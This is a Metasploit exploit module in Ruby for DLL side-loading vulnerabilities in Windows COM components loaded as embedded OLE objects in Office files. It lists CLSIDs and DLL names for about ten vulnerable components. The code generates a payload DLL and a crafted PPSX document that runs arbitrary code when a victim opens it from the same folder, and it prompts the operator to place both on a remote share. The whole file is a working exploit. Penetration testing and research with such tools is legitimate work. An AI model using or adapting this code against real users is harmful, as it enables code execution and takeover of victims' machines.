require 'zip'
require 'base64'
require 'msf/core'
require 'rex/ole'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
      'Description' => %q{
        Multiple DLL side loading vulnerabilities were found in various COM components.
        These issues can be exploited by loading various these components as an embedded
        OLE object. When instantiating a vulnerable object Windows will try to load one
        or more DLLs from the current working directory. If an attacker convinces the
        victim to open a specially crafted (Office) document from a directory also
        containing the attacker's DLL file, it is possible to execute arbitrary code with
        the privileges of the target user. This can potentially result in the attacker
        taking complete control of the affected system.
      },
      'Author' => 'Yorick Koster',
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-6132'],
          ['CVE', '2015-6128'],
          ['CVE', '2015-6133'],
          ['CVE', '2016-0041'],
          ['CVE', '2016-0100'],
          ['CVE', '2016-3235'],
          ['MSB', 'MS15-132'],
          ['MSB', 'MS16-014'],
          ['MSB', 'MS16-025'],
          ['MSB', 'MS16-041'],
          ['MSB', 'MS16-070'],
          ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/exec',
          'CMD' => 'C:\\Windows\\System32\\calc.exe',
        },
      'Payload' => { 'Space'  => 2048, },
      'Platform' => 'win',
      'Arch' => [ ARCH_X86, ARCH_X86_64 ],
      'Targets' =>
        [
          [ 'All', {} ],
          [
            'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
              {
                'DLL' => 'mqrt.dll',
                # {ecabafc9-7f19-11d2-978e-0000f8757e2a}
                'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A"
              }
          ],
          [
            'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
              {
                'DLL' => 'spframe.dll',
                # {D27CDB6E-AE6D-11cf-96B8-444553540000}
                'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00"
              }
          ],
          [
            'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
              {
                'DLL' => 'wuaext.dll',
                # {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
                'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA"
              }
          ],
          [
            'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
              {
                'DLL' => 'wuaext.dll',
                # {14ce31dc-abc2-484c-b061-cf3416aed8ff}
                'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF"
              }
          ],
          [
            'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
              {
                'DLL' => 'phoneinfo.dll',
                # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
                'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4"
              }
          ],
          [
            'Microsoft Visio 2010 / Windows 7 (MS16-070)',
              {
                'DLL' => 'msoutls.dll',
                # 6C92B806-B900-4392-89F7-2ED4B4C23211}
                'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11"
              }
          ],
          [
            'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
              {
                'DLL' => 'elsext.dll',
                # {394C052E-B830-11D0-9A86-00C04FD8DBF7}
                'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7"
              }
          ],
          [
            'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
              {
                'DLL' => 'oci.dll',
                # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
                'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D"
              }
          ],
          [
            'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
              {
                'DLL' => 'wab32res.dll',
                # {32714800-2E5F-11d0-8B85-00AA0044F941}
                'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41"
              }
          ],
          [
            'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
              {
                'DLL' => 'iasdatastore2.dll',
                # {48da6741-1bf0-4a44-8325-293086c79077}
                'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77"
              }
          ],
          [
            'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
              {
                'DLL' => 'ehTrace.dll',
                # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
                'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4"
              }
          ],
        ],
      'Privileged' => false,
      'DisclosureDate' => 'Dec 8 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
      ], self.class)
  end

  def exploit
    if target.name == 'All'
        targets = @targets
    else
        targets = [ target ]
    end

    @arch.each do |a|
      exploit_regenerate_payload('win', a, nil)
      targets.each do |t|
        if t.name == 'All'
          next
        end
        print_status("Using target #{t.name}")

        dll_name = t['DLL']
        if target.name == 'All'
          ppsx_name = t.name.split(/\//).first + ".ppsx"
        else
          ppsx_name = datastore['FILENAME']
        end

        print_status("Creating the payload DLL (#{a})...")

        opts = {}
        opts[:arch] = [ a ]
        dll = generate_payload_dll(opts)
        dll_path = store_file(dll, a, dll_name)
        print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")

        print_status("Creating the PPSX file...")
        ppsx = get_ppsx(t['CLSID'])
        ppsx_path = store_file(ppsx, a, ppsx_name)
        print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
      end
    end
  end

  def store_file(data, subdir, filename)
    ltype = "exploit.fileformat.#{self.shortname}"

    if ! ::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
      FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
    end

    if filename and not filename.empty?
      if filename =~ /(.*)\.(.*)/
        ext = $2
        fname = $1
      else
        fname = filename
      end
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    fname << ".#{ext}"

    path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }

    report_note(:data => full_path.dup, :type => "#{ltype}.localpath")

    full_path.dup
  end

  def create_ole(clsid)
    ole_tmp = Rex::Quickfile.new('ole')
    stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

    stm = stg.create_stream("\x01OLE10Native")
    stm.close

    directory = stg.instance_variable_get(:@directory)
    directory.each_entry do |entry|
      if entry.instance_variable_get(:@_ab) == 'Root Entry'
        clsid = Rex::OLE::CLSID.new(clsid)
        entry.instance_variable_set(:@_clsId, clsid)
      end
    end

    # write to disk
    stg.close

    ole_contents = File.read(ole_tmp.path)
    ole_tmp.close
    ole_tmp.unlink

    ole_contents
  end

  def get_ppsx(clsid)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
    fd = ::File.open(path, "rb")
    data = fd.read(fd.stat.size)
    fd.close
    ppsx = Rex::Zip::Archive.new

    Zip::InputStream.open(StringIO.new(data)) do |zis|
      while entry = zis.get_next_entry
        ppsx.add_file(entry.name, zis.read)
      end
    end

    ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
    ppsx.pack
  end

end